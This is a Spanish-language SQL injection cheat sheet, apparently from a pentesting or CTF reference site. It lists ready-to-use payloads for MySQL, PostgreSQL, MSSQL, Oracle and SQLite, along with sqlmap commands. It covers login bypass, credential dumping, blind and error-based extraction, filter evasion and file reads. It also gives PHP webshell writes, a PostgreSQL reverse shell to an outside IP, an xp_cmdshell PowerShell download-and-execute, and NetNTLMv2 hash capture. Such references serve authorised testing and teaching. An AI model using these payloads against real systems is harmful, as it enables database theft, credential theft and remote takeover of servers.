Payloads de inyección SQL
Elige el motor de base de datos. Los ejemplos con UNION usan dos columnas; ajusta el número de NULL a las que tenga la consulta (lo sacas con ORDER BY).
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
MySQL
Detección
Romper la consulta
'
Condición verdadera y falsa
' AND 1=1-- -
' AND 1=2-- -
Saltarse un login
admin'-- -
' OR 1=1-- -
Contar columnas
' ORDER BY 1-- -
' ORDER BY 5-- -
Sube el número hasta que dé error; la última que funciona es el número de columnas.
Ver qué columnas se muestran
' UNION SELECT 1,2-- -
Enumeración
Versión, usuario y base de datos
' UNION SELECT @@version,CONCAT(user(),' | ',database())-- -
Bases de datos
' UNION SELECT GROUP_CONCAT(schema_name),NULL FROM information_schema.schemata-- -
Tablas de la base de datos actual
' UNION SELECT GROUP_CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- -
Columnas de una tabla
' UNION SELECT GROUP_CONCAT(column_name),NULL FROM information_schema.columns WHERE table_name='users'-- -
Volcar usuarios y contraseñas
' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users-- -
Privilegios del usuario
' UNION SELECT GROUP_CONCAT(privilege_type),NULL FROM information_schema.user_privileges-- -
Basada en errores
extractvalue
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))-- -
updatexml
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)-- -
El error muestra unos 32 caracteres; usa SUBSTRING para leer el resto.
Blind
Booleana
' AND SUBSTRING(database(),1,1)='a'-- -
Booleana por código ASCII (búsqueda binaria)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77-- -
Por tiempo
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)-- -
Por tiempo sin comillas
1 AND SLEEP(3)
Ficheros y RCE
¿Desde dónde se puede leer y escribir?
' UNION SELECT @@secure_file_priv,NULL-- -
Vacío significa sin restricciones; NULL significa que no se puede.
Leer un fichero
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -
Escribir una webshell
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'-- -
Evasión de filtros
Sin espacios
'/**/UNION/**/SELECT/**/1,2-- -
Mayúsculas y minúsculas
' uNiOn SeLeCt 1,2-- -
Palabras duplicadas (si se borran una vez)
' UNIUNIONON SELSELECTECT 1,2-- -
Cadenas sin comillas (hex)
' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x7573657273-- -
Comentario con almohadilla
' OR 1=1#
PostgreSQL
Detección y enumeración
Condición
' AND 1=1--
Versión, usuario y base de datos
' UNION SELECT version(),current_user||' | '||current_database()--
Tablas
' UNION SELECT string_agg(table_name,','),NULL FROM information_schema.tables WHERE table_schema='public'--
Columnas
' UNION SELECT string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--
Volcar datos
' UNION SELECT string_agg(username||':'||password,chr(10)),NULL FROM users--
¿Soy superusuario?
' UNION SELECT current_setting('is_superuser'),NULL--
Errores y blind
Basada en errores (CAST)
' AND 1=CAST((SELECT version()) AS int)--
Booleana
' AND SUBSTRING(current_user,1,1)='p'--
Por tiempo
' AND 1=(SELECT 1 FROM pg_sleep(3))--
Por tiempo condicional (stacked)
'; SELECT CASE WHEN (SUBSTRING(current_user,1,1)='p') THEN pg_sleep(3) ELSE pg_sleep(0) END--
Ficheros y RCE
Leer un fichero
' UNION SELECT pg_read_file('/etc/passwd'),NULL--
Ejecutar comandos con COPY (superusuario)
'; CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;--
Reverse shell con COPY
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';--
Evasión de filtros
Cadenas sin comillas
$$users$$
CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115)
MSSQL
Enumeración
Versión, usuario y base de datos
' UNION SELECT @@version,SYSTEM_USER+' | '+DB_NAME()--
Bases de datos
' UNION SELECT STRING_AGG(name,','),NULL FROM master..sysdatabases--
Tablas
' UNION SELECT STRING_AGG(table_name,','),NULL FROM information_schema.tables--
Columnas
' UNION SELECT STRING_AGG(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--
¿Soy sysadmin?
' UNION SELECT IS_SRVROLEMEMBER('sysadmin'),NULL--
Errores y blind
Basada en errores
' AND 1=CONVERT(int,(SELECT @@version))--
Por tiempo
'; IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:3'--
Ejecución de comandos
Activar xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
Ejecutar un comando
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--
Capturar el hash NetNTLMv2 de la cuenta del servicio
'; EXEC master..xp_dirtree '\\10.10.14.5\share';--
Antes, en tu máquina, sudo responder -I tun0 (o impacket-smbserver share . -smb2support). Crackea el hash con hashcat -m 5600.
Con credenciales (mssqlclient)
Conectar
Atacante
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-auth
Usuarios que puedo suplantar
SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
Suplantar a sa
EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;
Servidores enlazados
EXEC sp_linkedservers;
EXEC ('SELECT SYSTEM_USER') AT [SERVIDOR2];
Oracle
En Oracle todo SELECT necesita FROM; usa la tabla dual cuando no haya otra.
Enumeración
Columnas con UNION
' UNION SELECT NULL,NULL FROM dual--
Versión y usuario
' UNION SELECT banner,user FROM v$version--
Tablas del usuario
' UNION SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name),NULL FROM user_tables--
Columnas
' UNION SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_name),NULL FROM all_tab_columns WHERE table_name='USERS'--
Volcar datos
' UNION SELECT username||':'||password,NULL FROM users--
Errores y blind
Basada en errores
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--
Booleana
' AND SUBSTR((SELECT user FROM dual),1,1)='S'--
Por tiempo
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('x',3)--
SQLite
Enumeración
Versión
' UNION SELECT sqlite_version(),NULL--
Tablas
' UNION SELECT group_concat(name),NULL FROM sqlite_master WHERE type='table'--
Estructura de una tabla (el CREATE TABLE)
' UNION SELECT sql,NULL FROM sqlite_master WHERE name='users'--
Volcar datos
' UNION SELECT group_concat(username||':'||password,char(10)),NULL FROM users--
Blind
Booleana
' AND substr((SELECT password FROM users LIMIT 1),1,1)='a'--
Por tiempo (consulta pesada)
' AND 1=like('ABCDEFG',upper(hex(randomblob(300000000/2))))--
SQLite no tiene SLEEP; se fuerza una operación lenta. Ajusta el tamaño hasta notar el retraso.
RCE
Escribir una webshell con ATTACH (stacked)
'; ATTACH DATABASE '/var/www/html/shell.php' AS p; CREATE TABLE p.t (x text); INSERT INTO p.t (x) VALUES ('<?php system($_GET["cmd"]); ?>');--
sqlmap
Uso básico
Probar un parámetro GET
Atacante
sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs
Desde una petición guardada en Burp
Atacante
sqlmap -r peticion.txt --batch --level 5 --risk 3
Formularios de la página
Atacante
sqlmap -u 'http://10.10.11.20/login.php' --forms --batch
Volcar una tabla
Atacante
sqlmap -r peticion.txt --batch -D app -T users --dump
Opciones útiles
Solo booleana y por tiempo
Atacante
sqlmap -r peticion.txt --batch --technique=BT
Evadir filtros con tampers
Atacante
sqlmap -r peticion.txt --batch --tamper=space2comment,between
Inyección en una cookie o cabecera
Atacante
sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2
El asterisco marca dónde inyectar.
Shell del sistema
Atacante
sqlmap -r peticion.txt --batch --os-shell
Leer un fichero
Atacante
sqlmap -r peticion.txt --batch --file-read=/etc/passwd
Ningún comando coincide.